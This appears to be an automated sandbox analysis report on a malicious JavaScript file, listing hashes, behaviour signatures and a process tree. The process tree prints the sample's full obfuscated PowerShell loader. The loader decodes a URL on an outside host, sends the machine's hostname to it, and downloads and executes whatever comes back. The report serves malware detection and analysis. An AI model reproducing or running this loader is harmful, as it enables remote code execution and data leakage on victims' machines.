Overview

overview

10

Static

static

1

NUVW1369.js

windows10-1703-x64

10

NUVW1369.js

windows7-x64

10

NUVW1369.js

windows10-2004-x64

10

Analysis

  • max time kernel
    498s
  • max time network
    500s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/05/2023, 16:31

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General

  • Target

    NUVW1369.js

  • Size

    747KB

  • MD5

    7cf38440c1bab5520f29ea4f50ec50c1

  • SHA1

    93ba640988fc04fda650ed22861460bb4a8a4768

  • SHA256

    b535dc0e3da92ff7112c9d6b8e49ed32f826554343bd16ea0b32599ee5b5c4ae

  • SHA512

    a1493b99043bc2351b1caa470f6509b7b5a88a1d3b0456917548a36882ac6603fd2e346e4869af63766abf195221601c9f2bde92f81270170098f3f809bebd22

  • SSDEEP

    3072:yTXYmBNLkwZRnXAjoxS7wCXde+pj/uzLLLNQaAapwxDY/YhNkskLJ9KR9CHccVoZ:GyWbCpN4U

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\NUVW1369.js
    1⤵
      PID:4076
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell @(2554,2566,2566,2562,2508,2497,2497,2565,2550,2552,2568,2565,2496,2566,2561,2562,2497,2564,2566,2496,2562,2554,2562,2513,2555,2511)|foreach{$ofebnw=$ofebnw+[char]($_-2450)};$rplotc='l';new-alias tfyfx cur$rplotc;$sibz=$(hostname);.$([char](7892-7787)+'ex')(tfyfx -useb "$ofebnw$sibz")
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell @(2554,2566,2566,2562,2508,2497,2497,2565,2550,2552,2568,2565,2496,2566,2561,2562,2497,2564,2566,2496,2562,2554,2562,2513,2555,2511)|foreach{$ofebnw=$ofebnw+[char]($_-2450)};$rplotc='l';new-alias tfyfx cur$rplotc;$sibz=$(hostname);.$([char](7892-7787)+'ex')(tfyfx -useb $ofebnw$sibz)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1128
        • C:\Windows\system32\HOSTNAME.EXE
          "C:\Windows\system32\HOSTNAME.EXE"
          3⤵
            PID:4556

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_worculqx.qzz.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • memory/1128-138-0x000001EF7E840000-0x000001EF7E862000-memory.dmp

        Filesize

        136KB

        Download

      • memory/1128-143-0x000001EF7DE80000-0x000001EF7DE90000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1128-144-0x000001EF7DE80000-0x000001EF7DE90000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1128-145-0x000001EF7DE80000-0x000001EF7DE90000-memory.dmp

        Filesize

        64KB

        Download